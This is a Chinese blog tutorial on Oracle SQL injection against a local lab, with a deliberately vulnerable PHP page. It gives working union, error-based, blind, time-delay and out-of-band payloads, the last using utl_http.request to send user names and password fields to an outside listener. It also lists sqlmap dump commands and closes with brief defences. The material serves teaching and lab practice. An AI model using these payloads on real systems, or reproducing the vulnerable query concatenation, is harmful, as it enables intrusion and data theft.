[网络安全提高篇] 一〇五.SQL注入之揭秘Oracle数据库注入漏洞和致命问题(联合Cream老师)

当您阅读到该篇文章时,作者已经将“网络安全自学篇”设置成了收费专栏,首先说声抱歉。感谢这一年来大家的阅读和陪伴,这100篇安全文章记录了自己从菜鸡到菜鸟的成长史,该部分知识也花了很多精力去学习和总结。由于在外读书且需要养娃,所以按最低价9.9元设置成了收费专栏,赚点奶粉钱,感谢您的抬爱。当然,如果您还是一名在读学生或经济拮据,可以私聊我给你每篇文章开白名单,也可以去github下载对应的免费文章,更希望您能进步,一起加油喔!

接下来我会接着之前的内容继续分享,“网络安全提高班”新的100篇文章即将开启,包括Web渗透、内网渗透、靶场搭建、CVE复现、攻击溯源、实战及CTF总结,它将更加聚焦,更加深入,也是作者的慢慢成长史。换专业确实挺难的,Web渗透也是块硬骨头,但我也试试,看看自己未来四年究竟能将它学到什么程度,漫漫长征路,偏向虎山行。享受过程,一起加油~

前文带领大家搭建一个Oracle+phpStudy本地网络渗透靶场,并应用SQL注入、XSS攻击、文件上传漏洞三个场景。这篇文章将跟着Cream老师兼好友学习,结合自己的经验详细介绍Oracle数据库注入漏洞和致命问题,包括各种类型的注入知识。注入漏洞是安全威胁中比较常见的漏洞,Oracle也是用得最广的数据库,希望这篇文章对您有帮助。真心觉得Cream老师讲解非常厉害,也推荐大家去i春秋学习他的视频,且看且珍惜。

作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔~

环境及靶场下载地址:

参考学习视频地址:

其他资料下载地址:

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。

提高篇:(自学系列100篇目录放在文章末尾)


一.Oracle基础介绍

1.数据库介绍

数据库的基本概念如下:

  • 数据库(Database,DB)
    按照数据结构来组织、存储和管理数据的仓库
  • 数据库管理系统(Database Management System, DBMS)
    是一种操纵和管理数据库的大型软件,用于建立、使用和维护数据库,简称DBMS
  • 数据库管理员( Database Administrator, DBA)
    操作和管理DBMS的人员,简称DBA

数据库通常分为两类:

  • 关系型数据库
    Oralce、DB2、MSSQL、SyBase、Informix、MySQL、Access、Postgresql等,是指采用了关系模型来组织数据的数据库,其以行和列的形式(二维表)存储数据,以便于用户理解,关系型数据库这一系列的行和列被称为表,一组表组成了数据库、
  • 非关系型数据库
    Redis、Mongodb、Nosql、Hbase等,用于指代那些非关系型的,分布式的,且一般不保证遵循ACID原则的数据存储系统,如以键值对(Key-Value)存储,用于解决大数据应用难题和大规模数据集合多重数据种类带来的挑战。

这篇文章主要围绕Oracle数据讲解,也是企业用得最广泛地数据库。Oracle数据库的特点如下:

  • 全球化、跨平台的数据库
  • 支持多用户、高性能的事务处理
  • 强大的安全性控制和完整性控制
  • 支持分布式数据库和分布处理

在这里插入图片描述

下面介绍SQL的分类,主要分为五大类,核心是对数据的增删改查。读者可以简单学习下数据库的基础知识。作者之前数据库的文章也介绍过。

  • DDL(数据定义语言)
  • DML(数据操纵语言)
  • TCL(事务控制语言)
  • DQL(数据查询语言):数据库注入用得比较多
  • DCL(数据控制语言):数据库赋权攻击用得比较多

在这里插入图片描述


2.Oracle安装配置

环境配置永远是第一步,这里简单介绍下配置过程,网上教程也比较多,前文作者也进行了详细介绍。Windows安装Oracle的核心流程包括:

  • 准备Oracle安装包
  • 根据需求下一步安装
  • 设置监听服务并启动
  • 配置TNS和Listener
  • 解决php连接数据库的OCI8问题

透明网络底层(Transparence Network Substrate)通过读取TNS配置文件才能列出经过配置的服务器名,安装过程中建议关闭防火墙。详见上一篇文章:

在这里插入图片描述

前文已经将环境搭建成功,Navicat连接数据库的信息如下图所示:

在这里插入图片描述

创建的数据库主要包括一个demo表。

  • DEMO(ID, NAME, AGE, SEX)

在这里插入图片描述

然后phpstudy中包括一个sql-test.php文件,其基本路径如下:

  • D:\phpstudy\PHPtutorial\WWW

在这里插入图片描述

该php文件代码如下:

在这里插入图片描述

其基本流程是连接数据库,然后进行select查询并将查询结果反馈到表格table中。我们先简单进行代码安全审计,发现问题如下:

  • 参数用户可控
    $_GET[‘id’]:参数是由前端传递过来的,用户通过自定义可以控制该参数。
  • 后台无过滤或者过滤不严谨
    $sql = “select * from demo where id=”.$id;没有进行过滤操作。

在这里插入图片描述

通过这两点漏洞就可以实现SQL注入。

<?php
  header("Content-Type:text/html;charset=utf-8");
  $id = @$_GET['id'];
  //连接数据库的参数配置
  $dbstr ="(DESCRIPTION =(ADDRESS = (PROTOCOL = TCP)(HOST =127.0.0.1)(PORT = 1521)) 
                (CONNECT_DATA = (SERVER = DEDICATED) (SERVICE_NAME = orcl) (INSTANCE_NAME = orcl)))";  
  
  //连接数据库,前两个参数分别是账号和密码
  $conn = oci_connect('eastmount', '123456', $dbstr);
  if (!$conn)
  {
    
    
    $Error = oci_error(); //错误信息
    print htmlentities($Error['message']);
    exit;
  }
  else
  {
    
    
    echo "<h3>Oracle 注入实验</h3>"."<br>";
    //ocilogoff($conn);
    echo $id."<br>";
    $sql = "select * from DEMO where ID=".$id;  //sql语句
    echo "SQL语句:".$sql."<br>";
    $ora_test = oci_parse($conn, $sql);                 //编译sql语句 
    oci_execute($ora_test, OCI_DEFAULT);            //执行

    echo "<h3>查询结果</h3>";
    echo "<table border='1' width='400' bgcolor='#CCCCFF'>" ;
    while($r=oci_fetch_row($ora_test))                 //取回结果 
    {
    
     
      echo "<tr>";
      echo "<th>ID号</th>";
      echo "<th>名称</th>";
      echo "<th>年龄</th>";
      echo "<th>性别</th>";
      echo "</tr>";
      echo "<tr>";
      foreach ($r as $item) {
    
    
          echo "<td>".($item?htmlentities($item):"&nbsp;&nbsp;&nbsp;&nbsp;")."</td>";
      }
      echo "</tr>";
    }
    echo "</table>";
  }
  oci_close($conn);                                           //关闭连接
?>

3.常见注入类型

在Oracle中常见的数据类型包括:

  • 联合注入
  • 报错注入
  • 布尔盲注
  • 延时盲注
  • 带外注入

在这里插入图片描述


二.Oracle数据库元数据获取

在进行SQL注入之前,我们需要了解和掌握Oracle数据库中不同表、不同字段的特性及用法,获取元数据就是基础知识,即获取行和列交叉的数据项。(注:不同数据库的元数据是需要大家去牢记或归纳的

在这里插入图片描述

  • select * from v$version where rownum=1;
  • select * from product_component_version;
    获取数据库版本,注意Oracle中没有version()函数

在这里插入图片描述

Navicat for Oracle中执行效果如下图所示:

在这里插入图片描述

  • select username from all_users;
    查看所有用户

在这里插入图片描述

  • select username from all_users order by username;
    查看所有用户名并排序

在这里插入图片描述

  • select tablespace_name from user_tablespaces;
    查看所有的表空间

在这里插入图片描述

  • select table_name from user_tables;
    查看当前用户下的所有表

  • select table_name from user_tables where rownum=1;
    查看当前用户的第一个表,注意Oracle中没有limit关键词(MySQL)

  • select column_name from user_tab_columns where table_name=‘demo’;
    查看当前用户的所有列,如查询demo表下的所有列

  • select object_name from user_objects;
    查看当前用户的所有对象(表名称、约束、索引)

  • select * from session_roles;
    当前用户的权限

  • select member from v$logfile where rownum=1;
    服务器操作系统

  • select instance_name from v$instance;
    服务器sid

  • select sys_context(‘userenv’, ‘current_user’) from dual;
    当前连接用户

  • select user from dual;
    当前用户。注意:dual是虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录。

在这里插入图片描述

  • select distinct owner from all_tables;
    列出所有的数据库

在这里插入图片描述

  • select table_name from all_tables;

  • select owner, table_name from all_tables;
    列出所有的表名

  • select name from v$datafile;
    定位文件

最后补充部分知识点:

(1) 核心字段包括:

  • information_schema(库)
  • columns(表)
  • table_schema
  • table_name
  • column_nam;

(2) dual(虚拟表)常见操作:

  • 当前用户
    select user from dual;
  • 调用系统函数
    select SYS_CONTEXT(‘USERENV’,‘TERMINAL’) from dual; --获得主机名
  • 获取序列的当前值以及下一个值
    select seq.nextval from dual; --下一个序列seq的值
    select seq.currval from dual;–获取当前seq的值
  • 计算器
    SELECT 1000*100 from dual;

三.联合注入实践

联合注入顾名思义,就是使用联合查询进行注入的一种方式,是一种高效的注入的方式。常见流程包括:

  • 判断注入点
  • 判断是整型还是字符型
  • 判断查询列数
  • 判断显示位
  • 获取所有数据库名
  • 获取数据库所有表名
  • 获取字段名
  • 获取字段中的数据

在这里插入图片描述

第一步,判断注入点。
判断注入点的方法很多,比如show.php?code=1’ 加单引号,show.asp?code=2-1 减1。

在这里插入图片描述

在这里插入图片描述

安全性高的网站通常会过滤特殊标点符号,并且防止出现减法这种正常访问现象。

在这里插入图片描述

下面是一个经典的方法:

  • http://xxxxx/show.asp?code=1’ and 1=1 - - (正常显示)
    对应的SQL语句:
    select … from table where code=‘1’ and 1=1 - - and xxxx;
    单引号(’)匹配code='1,然后and连接,1=1恒成立,注释(- -)掉后面语句。

在这里插入图片描述

  • http://xxxxx/show.php?code=1’ and 1=2 - - (错误显示)
    对应的SQL语句:
    select … from table where code=‘1’ and 1=2 - - and xxxx;
    单引号(’)匹配code='1,然后and连接,1=2恒错误,注释(- -)掉后面语句。

在这里插入图片描述

第二步,判断数据库列数。
根据某列数据做排序,四列数据判断。

id=1 order by 4--

输出结果如下图所示:

在这里插入图片描述

如果填写5它会报错,从1开始遍历能判断该表包括4个字段

在这里插入图片描述

第三步,联合注入。
通过union将数据在前端显示,这里的数据(null)个数需和前面查询的内容一致(4个)。SQL注入中,通常会使用null占位。

-1 union select null,null,null,null from dual--

输出结果如下图所示:

在这里插入图片描述

第四步,判断每个字段数据类型。
这里选择数字1和字符2。

-1 union select 1,'2',null,null from dual--

输出结果如下图所示:

在这里插入图片描述

注意,这里数据库中名称设置为Varchar字符串类型,如果填写数字2会报错。我们需要找到字符串类型来显示后续联合注入输出的结果。

在这里插入图片描述

第五步,数据库信息收集。
通过sys_context函数查询当前用户的连接信息,并显示在第二列的数据中。

-1 union select 1, (select sys_context('userenv','current_user') from dual),null,null from dual

当前数据库的用户信息如下图所示:

  • EASTMOUNT

在这里插入图片描述

第六步,爆数据库名。
数据库名可能很多,这里通过rownum=1限制显示一条内容。

-1 union select 1, (select owner from all_tables where rownum=1),null,null from dual--

在这里插入图片描述

第七步,获取当前用户下的表。
从指定数据库中获取表信息。

-1 union select 1, (select table_name from user_tables where rownum=1 ),null,null from dual--

输出结果如下图所示,真实环境中我们通常需要找到用户表或管理员表,从而获取用户名及密码进行后续渗透。

  • DEMO

在这里插入图片描述

第八步,获取当前数据库下的字段名。
获取数据库表下面的字段内容,表的名称为“DEMO”。

-1 union select 1, (select column_name from user_tab_columns where table_name='DEMO' and rownum=1),null,null from dual--

获取DEMO表格的第一个一段,如下图所示为ID。

  • ID

在这里插入图片描述

如果我们想获取其他字段怎么办呢?通过将查询出的结果放到not in中即可,或者使用不等于(<>)。

  • select column_name from user_tab_columns
  • where table_name=‘DEMO’ and rownum=1 and column_name not in (‘ID’)

在这里插入图片描述

第九步,爆数据。
爆数据通常是用户名和密码,这里可以使用CONCAT拼接函数。如果密码被MD5加密,我们进行相关解密即可。

-1 union select null, (select CONCAT(NAME, AGE) FROM DEMO where rownum=1 ),null,null from dual--

最终输出结果如下图所示:

  • eastmount 28

在这里插入图片描述

我们同样可以获取其他表信息。

-1 union select null, (SELECT CONCAT("name","password") FROM STU where rownum=1 ),null,null from dual--

在这里插入图片描述

写到这里,联合注入就介绍完毕,希望对您有帮助!


四.报错注入实践

SQL报错注入旨在利用数据库的某些机制,通过构造错误条件,使得我们想要的信息出现在报错信息中。不同类型数据库的报错注入如下:

  • MYSQL
    主要利用报错函数,如extractvalue、updatexml、floor等
    http://192.168.2.101/sqli-labs-master/Less-5/?id=2’ and extractvalue(1,concat(0x7e,(database()),0x7e))%23+
  • MSSQL
    使用比较运算符,如[执行语句]>1、[报错语句]=1等
    http://192.168.23.132/less-1.asp?id=1’ and (select @@version)=1–
  • ORACLE
    同上,但是需要借助于某些函数,如utl_inaddr.get_host_name、ctxsys.drithsx.sn、XMLType等
    http://192.168.1.6:81/orcl.php?id=1 and 1=utl_inaddr.get_host_name((select user from dual)) –

Oracle报错函数及对应含义如下表所示:

  • dbms_xdb_version.checkin()
  • dbms_xdb_version.uncheckin()
  • dbms_xdb_version.makeversioned()
  • dbms_utility.sqlid_to_sqlhash()
  • UTL_INADDR.get_host_name()
  • UTL_INADDR.get_host_address()

在这里插入图片描述

报错注入的核心流程如下:

在这里插入图片描述

第一步,判断注入点。

1 and (select count (*) from user_tables)>0 --
1 and (select count (*) from dual)>0 --

在这里插入图片描述

第二步,显错函数获取信息。
利用utl_inaddr.get_host_name( )获取ip地址,但是如果传递参数无法得到解析就会返回一个oracle 错误并显示传递的参数。

  • utl_inaddr.get_host_name( )
1 and 1=utl_inaddr.get_host_name((select user from dual))--

在这里插入图片描述

但作者的配置没有显示任何ORA报错信息,泪奔 o(╥﹏╥)o,后面文章我找CTF题目给大家模拟下,这里主要介绍Cream老师兼好友的分享。

在这里插入图片描述

这里我们利用ctxsys.drithsx.sn()函数查询关于主题(获取当前用户信息)的对应关键词时,报错信息会显示出第二个参数的结果。

  • ctxsys.drithsx.sn()
-1 and  1=ctxsys.drithsx.sn(1,(select user from dual)) --

也可以使用XMLType()函数实现,比如:

1 and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --

在这里插入图片描述

其他函数包括:

dbms_xdb_version.checkin()
and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null --
bms_xdb_version.makeversioned()
and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --
dbms_xdb_version.uncheckout()
and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --
dbms_utility.sqlid_to_sqlhash()
and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --
ordsys.ord_dicom.getmappingxpath()
and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user) --
decode()
and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual) --

注意:不会显示报错信息,需要通过页面来判断。当substr(user,1,1)=‘S’页面报错,其他情况页面无报错也不会显示数据。类似盲注。

  • decode(条件,值1,返回值1,值2,返回值2,…值n,返回值n,缺省值)
SELECT ID,NAME,AGE,decode(SEX,1,'男'0'女') from DEMO;

在这里插入图片描述

1 and 1=(select decode(substr(user,1,1),'A',(1/0),0) from dual) --
1 and 1=(select decode(substr(user,1,1),'B',(1/0),0) from dual) --

上述测试结果为页面正常,不显示任何数据。

1 and 1=(select decode(substr(user,1,1),'T',(1/0),0) from dual) --

显示结果如下,说明当前用户的首字母是T,代码 decode(substr(user,1,1), ‘T’, (1/0), 0) 中substr(user,1,1)=‘T’ 时,就返回(1/0)的值,但是0不能为分母,所以报错!

在这里插入图片描述

第三步,爆出当前数据库名。
使用SQL语句如下,其中distinct是去重,几个核心的表需要大家记住。

  • user_tab_columns:保存当前用户的表、视图等
  • all_tab_columns:帮助查询用户下的所有的表和列
  • all_tables:显示与当前用户可访问的表
  • user_tables:显示当前用户拥有的表
select (select distinct owner from all_tables where rownum=1) from dual;

在这里插入图片描述

对应的SQL注入链接如下,爆出当前用户下的表信息如下,SYS是第一个,后续的表可以陆续爆出来。

1 and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1)) --

在这里插入图片描述

第四步,爆出当前用户下的表。
SQL语句如下:

select table_name from user_tables where rownum=1;

输出结果如下图所示,可以看到DEMO表。

在这里插入图片描述

对应的SQL注入链接如下。

1 and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1)) --

该用户下的第一个表是DEMO,爆出其他表的方法和前面类似,使用not in或不等于关键词。

1 and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1 and table_name <>'DEMO')) --

在这里插入图片描述

第五步,爆破指定表下的列名。
假设现在作者想爆FLAG表下的列。SQL语句如下:

select column_name from user_tab_columns where table_name='DEMO' and rownum=1;

在这里插入图片描述

对应的SQL注入链接如下:

1 and 1=utl_inaddr.get_host_name((select column_name from user_tab_columns where table_name='FLAG' and rownum=1)) --

在这里插入图片描述

第二个字段是name,第三个字段是pwd,最后的字段是flag。

1 and 1=utl_inaddr.get_host_name((select column_name from user_tab_columns where table_name='FLAG' and rownum=1 and column_name <>'id')) --
1 and 1=utl_inaddr.get_host_name((select column_name from user_tab_columns where table_name='FLAG' and rownum=1 and column_name not in ('id','name') )) --
1 and 1=utl_inaddr.get_host_name((select column_name from user_tab_columns where table_name='FLAG' and rownum=1 and column_name not in ('id','name','pwd') )) --
1 and 1=utl_inaddr.get_host_name((select column_name from user_tab_columns where table_name='FLAG' and rownum=1 and column_name not in ('id','name','pwd','flag') )) --

在这里插入图片描述

第五步,爆字段内容。
SQL语句如下:

select (SELECT CONCAT("name","pwd") FROM FLAG where rownum=1;

在这里插入图片描述

SQL注入链接如下:

1 and 1=utl_inaddr.get_host_name((select (SELECT CONCAT("name","pwd") FROM FLAG where rownum=1) from dual)) --

下图中是用户的账号和密码,可以使用其他的报错函数来测试。

在这里插入图片描述


五.布尔盲注实践

盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。个人理解,之前的注入会将数据库的信息反馈至前端,而盲注前端不能显示,只能进行猜解。

盲注本质上就是页面无法提供回显的时候进行注入操作。布尔型盲注表示输入and 1或者and 0,浏览器返回给我们两个不同的页面,而我们就可以根据返回的页面来判断正确的数据信息。常用函数如下:

  • length()
    返回字符串str的长度,以字节为单位
  • substr()
    从特定位置开始的字符串返回一个给定长度的子字符串
  • ascii()
    输出某个字符的ascii码值,ascii码共127个,此处注意ascii函数处理单个字符,如果是字符串则会处理第一个字符,例如select ascii(‘h’)返回104

在Oracle布尔盲注实验中,可以是普通猜解的方法,也可以使用某些函数来辅助猜解,如前面提到的decode函数,以及instr函数等。布尔盲注测试方法如下:

  • 普通猜解
  • Decode方法
  • Instr方法

在这里插入图片描述

1.普通猜解

具体步骤如下:
在这里插入图片描述

第一步,获取当前用户下的数据表长度以及每个字符。
SQL语句如下:

在这里插入图片描述

当我们使用LENGTH()计算长度时,如果异常显示则表示失败,如下图没有显示表格。

1 and 3=(SELECT LENGTH(table_name) from user_tables where rownum=1)--

在这里插入图片描述

如果正常显示,则表示成功,该表格的长度为4。

1 and 4=(SELECT LENGTH(table_name) from user_tables where rownum=1)--

在这里插入图片描述

第二步,爆破数据表每个字符。
猜测数据库表的每个字符,使用字符截取函数substr和ascii函数。

select ascii(substr(table_name,1,1)) from user_tables WHERE rownum=1;

在这里插入图片描述

只有页面正常显示才能推出每个字符的ASCII,,比如ASCII码查询67,对应字母C则无显示。

在这里插入图片描述

ASCII码表如下:

在这里插入图片描述

当前数据表的首字母的ASCII是68,也即D,依次爆出的字母是E、M、O。所以数据表名为:

  • DEMO

在这里插入图片描述

第三步,爆破指定表下的字段名长度。
我们先猜解表第一个字段的长度,SQL语句如下:

select LENGTH(column_name) from user_tab_columns where table_name='DEMO' and rownum=1;

在这里插入图片描述

对应的SQL注入链接如下,当DEMO表的第一个字段长度为2时正确显示。

1 and 2=((select LENGTH(column_name) from user_tab_columns where table_name='DEMO' and rownum=1)) --

在这里插入图片描述

第四步,猜解每个字段名的字符。
SQL语句如下:

select ascii(substr(column_name,1,1)) from user_tab_columns
where table_name='DEMO' and rownum=1;

在这里插入图片描述

下面正常显示猜解出来是字母“I”,最终确定这两个字母是ID。

1 and 73=((select ascii(substr(column_name,1,1)) from user_tab_columns where table_name='DEMO' and rownum=1)) --
1 and 68=((select ascii(substr(column_name,2,1)) from user_tab_columns where table_name='DEMO' and rownum=1)) --

在这里插入图片描述

当然,这个过程也可以使用BusrpSuite去爆破。

同理可以获取第二个字段的长度是4,对应的ASCII是78、65、77、69,也即NAME。第三个字段为AGE,第四个字段为SEX。

1 and 78=((select ascii(substr(column_name,1,1)) from user_tab_columns where table_name='DEMO' and rownum=1 and column_name <> 'ID' ))--

在这里插入图片描述

第五步,爆字段内容。
如果我们获取了管理用户表NAME和PWD,接下来获取字段内容。

1 and 102=((select ASCII(substr(CONCAT(NAME, AGE),1,1))FROM DEMO  where rownum=1 ))--

下面显示异常,说明当前NAME和AGE内容长度不是102。

在这里插入图片描述

最终数字为11显示正常。

在这里插入图片描述

接着获取第一个用户名eastmount的字符为“e”。

1 and 101=((select ASCII(substr(CONCAT(NAME, AGE),1,1)) FROM DEMO  where rownum=1 ))--

依次获得eastmount。

在这里插入图片描述


2.DECODE函数盲注

Decode的使用方法如下,当条件等于值1时就得到返回值1。

  • decode(条件,值1,返回值1,值2,返回值2,…值n,返回值n,缺省值)

第一步,获取信息。
SQL语句如下:

select decode(length(user),9,1,0) from dual;

在这里插入图片描述

页面显示正常,说明用户长度是9。

1 and 1=(select decode(length(user),9,1,0) from dual)--

在这里插入图片描述

接下来可以使用BP爆破获取用户名。

在这里插入图片描述

第二步,获取当前用户下的第一个表。

1 and 1=(select decode(length(table_name),4,1,0) from user_tables where rownum=1)--

页面实现正常,说明表名长度是4,对应应该是DEMO。

在这里插入图片描述

第三步,猜解表名称。

1 and  1=(select decode(ascii(substr(table_name,1,1)),68,1,0) from user_tables where rownum=1)--

在这里插入图片描述

使用BP爆破,结果是DEMO。

在这里插入图片描述

接下来爆破DEMO表下字段以及字段对应内容,步骤和前面的很相似。


3.INSTR函数盲注

函数instr的使用方法:

  • instr(string1,string2)
    在string1中找到string2所在的位置,找到返回其索引。

对应SQL语句如下:

SELECT INSTR('substr', 'str') from dual;

在这里插入图片描述

下面简单列举下Cream老师相关的SQL语句,大家可以进行尝试。

  • select instr((select user from dual),‘TEST’) from dual;
    猜解用户名是TEST,则返回1
  • select instr((select length(user) from dual),4) from dual;
    猜解用户名的长度,如果是4则返回1
  • select instr((select length(table_name) from user_tables where rownum=1),4) from dual;
    判断当前用户的第一个表的名称长度是否是4
  • select instr(substr((select table_name from user_tables where rownum=1),1,1),‘D’) from dual;
    判断表名称的每个字符,第一个字符是不是D,可以结合BP爆破

同理可以获取表中的字段长度和内容。


六.延时盲注实践

在Oracle延时注入利用过程中需要使用DECODE、DBMS_PIPE.RECEIVE_MESSAGE等函数来延时数据库的处理时间,最后测试者可以通过网页的加载时间来判断注入结果。

延时注入可用的函数/方法:

  • DECODE
    此处不再介绍
  • DBMS_PIPE.RECEIVE_MESSAGE(‘RDS’,5)
    表示从RDS管道返回的数据需要等待5秒,一般情况下可以以PUBLIC权限使用该函数
  • select count(*) from all_objects
    大量统计操作辅助延时注入,延长时间不易控制

注意:执行“SELECT DBMS_PIPE.RECEIVE_MESSAGE(‘RDS’,5) from dual”返回值是1。

在这里插入图片描述

第一步,测试延迟代码。
SQL语句如下,可以看到网络加载时间是5S,注意该函数5s后的返回值是1。

SELECT dbms_pipe.receive_message('RDS', 5) from dual;

在这里插入图片描述

SQL注入链接如下:

1 and 1= dbms_pipe.receive_message('RDS', 5)-- 

第二步,调用DECODE函数进行延时判断。

在这里插入图片描述

SQL语句如下,该语句表示:

  • select DECODE(condition,value,dbms_pipe.receive_message(‘RDS’, 5),0) from dual
  • 当condition=value就返回dbms_pipe.receive_message(‘RDS’, 5),那么页面就等待5秒时间,从而达到延时注入的目的。
错误
select decode(substr(user,1,1),'T',dbms_pipe.receive_message('RDS',5),0) from dual;
正确(EASTMOUNT)
select decode(substr(user,1,1),'T',dbms_pipe.receive_message('RDS',5),0) from dual;

在这里插入图片描述

对应SQL注入代码如下:

1 and 1=(select decode(substr(user,1,1),'E',dbms_pipe.receive_message('RDS',5),0) from dual)--

可知用户名第一个字符是E,使用BP爆破,当前用户名为EASTMOUNT。

第三步,通过延迟注入获取表名DEMO。
如果错误显示会反馈异常结果。

http://127.0.0.1/sql-test02.php
?id=1 and 1=(select decode(substr(table_name,1,1),'D',dbms_pipe.receive_message('RDS',5),0) 
from user_tables where rownum=1)--

在这里插入图片描述

如果正常注入则延迟显示正常结果,比如DEMO的首字母D。

在这里插入图片描述

后续步骤参考前面的步骤即可。


七.带外注入实践

Oracle的带外注入和DNSLOG很相似,需要使用网络请求的函数进行注入利用,其中可以进行网络请求的函数有:

  • UTL_HTTP.REQUEST
  • UTL_INADDR.GET_HOST_ADDRESS
  • SYS.DBMS_LDAP.INIT

在这里插入图片描述

第一步,首先检测函数是否能用。

1 and exists (select count(*) from all_objects where object_name='UTL_HTTP') --

在这里插入图片描述

网页加载正常,则说明该函数可以使用。其中还函数返回值是请求的返回值

在这里插入图片描述

使用方法,其中||放在URL需要URL编码。切记!!!

and utl_http.request('http://域名或者ip:端口/'||(注入的语句))=1 --,

在这里插入图片描述

发送请求(获取当前用户名):

1 and utl_http.request('http://192.168.1.2:6666/'%7c%7c(SELECT user FROM dual))=1--

第二步,信息收集。

http://192.168.1.6:81/orcl.php?id=1 and 
utl_http.request('http://192.168.1.2:6666/'%7c%7c(SELECT user FROM dual))=1--

收到数据如下:

在这里插入图片描述

获取Banner信息。

http://192.168.1.6:81/orcl.php?id=1 and 
utl_http.request('http://192.168.1.2:6666/'%7c%7c(select banner from sys.v_$version where rownum=1))=1--

在这里插入图片描述

获取字段内容。

http://192.168.1.6:81/orcl.php?id=1 and 
utl_http.request('http://192.168.1.2:6666/'%7c%7c(SELECT CONCAT("name","password") FROM STU where rownum=1))=1--

在这里插入图片描述


八.Oracle手工注入以及自动化工具SQLMAP使用

下一篇文章讲详细介绍SQLMAP的用法

1.基本使用方法

  • 检测注入点
    python2 sqlmap.py -u http://192.168.1.6:81/orcl.php?id=1 --dbms=oracle
  • 查看所有数据库名
    python2 sqlmap.py -u http://192.168.1.6:81/orcl.php?id=1 --dbms=oracle --dbs
  • 查看当前用户的权限
    python2 sqlmap.py -u http://192.168.1.6:81/orcl.php?id=1 --dbms=oracle --privileges
  • 是否是管理员
    - -is-dba
  • 所有用户
    - -users
  • 当前用户
    - -current-user
  • 当前数据库
    - -current-db
  • 破解当前用户密码
    - -passwords
  • 获取系统信息
    - -hostname
  • 获取数据库信息
    - -banner
  • 获取数据库用户角色
    - -roles

2.获取当前数据库下表

  • python2 sqlmap.py -u http://192.168.1.6:81/orcl.php?id=1 --dbms=oracle -D TEST --tables

3.获取当前数据库下指定表下的字段名

  • python2 sqlmap.py -u http://192.168.1.6:81/orcl.php?id=1 --dbms=oracle -D TEST -T STU --columns

4.获取字段内容

  • python2 sqlmap.py -u http://192.168.1.6:81/orcl.php?id=1 --dbms=oracle -D TEST -T STU -C NAME,PASSWORD --dump

在这里插入图片描述


九.Oracle注入防御

Oracle编程路线通常涉及这些相关知识,如下图所示:

  • 安全开发
  • 代码审计
  • 安全运维
  • 自动化工具
  • 红蓝对抗

在这里插入图片描述

Oracle其他的安全性问题如下,后续结合ATT&CK框架介绍。

  • Oracle权限控制不当,读写文件
  • Oracle提权
  • Oracle执行系统命令
  • 反序列化漏洞
  • 身份管理器漏洞
  • Oracle Database Server远程安全漏洞(CVE-2019-2518)

那么,Oracle注入如何防御呢?下面Creaml傲视简单介绍几种方法。

  • 1.代码层防御技术
    使用参数化查询语句、验证输入、规范化等技术,如JAVA中使用JDBC框架,C#使用ADO.NAT框架,PHP使用PDO架构等。Oracle PL/SQL 在数据库代码层也可以使用参数化方式去查询,它使用带有编号的冒号字符去绑定参数来达到防注入的目的。
  • 2.输入验证
    任何输入的数据均是不可信的,可以对不可信数据进行验证,如使用黑白名单过滤等。在JAVA中可以使用定义一个输入验证类,实现javax.faces.validator.Validator接口,对用户输入进行验证。C#可以使用某些具有验证功能的控件对用户输入进行验证。PHP中可以使用正则表达式验证用户输入,或者使用特定功能函数判断输入是否合法。
  • 3.输出编码
  • 4.规范化

十.总结

写到这里,这篇文章就介绍完毕,希望您喜欢,本文主要介绍Oracle注入漏洞知识,文章非常长,作者也花费了很长时间,希望对您有帮助,后续我们将结合实战和CTF介绍几个SQL注入的案例。再次感谢Cream好友兼老师。

  • 一.Oracle基础介绍
    1.数据库介绍
    2.Oracle安装配置
    3.常见注入类型
  • 二.Oracle数据库元数据获取
  • 三.联合注入实践
  • 四.报错注入实践
  • 五.布尔盲注实践
    1.普通猜解
    2.DECODE函数盲注
    3.INSTR函数盲注
  • 六.延时盲注实践
  • 七.带外注入实践
  • 八.Oracle手工注入以及自动化工具SQLMAP使用
  • 九.Oracle注入防御

这篇文章中如果存在一些不足,还请海涵。作者作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,感谢师傅、师兄师弟、师姐师妹们的教导,深知自己很菜,得努力前行。

欢迎大家讨论,是否觉得这系列文章帮助到您!任何建议都可以评论告知读者,共勉。

2020年8月18新开的“娜璋AI安全之家”,主要围绕Python大数据分析、网络空间安全、人工智能、Web渗透及攻防技术进行讲解,同时分享CCF、SCI、南核北核论文的算法实现。娜璋之家会更加系统,并重构作者的所有文章,从零讲解Python和安全,写了近十年文章,真心想把自己所学所感所做分享出来,还请各位多多指教,真诚邀请您的关注!谢谢。

在这里插入图片描述

(By:Eastmount 2021-03-24 夜于武汉 http://blog.csdn.net/eastmount/ )


参考文章如下,感谢胡老师和这些大佬。


自学篇(建议直接跳转到正文):

猜你喜欢

转载自blog.csdn.net/Eastmount/article/details/115050808
今日推荐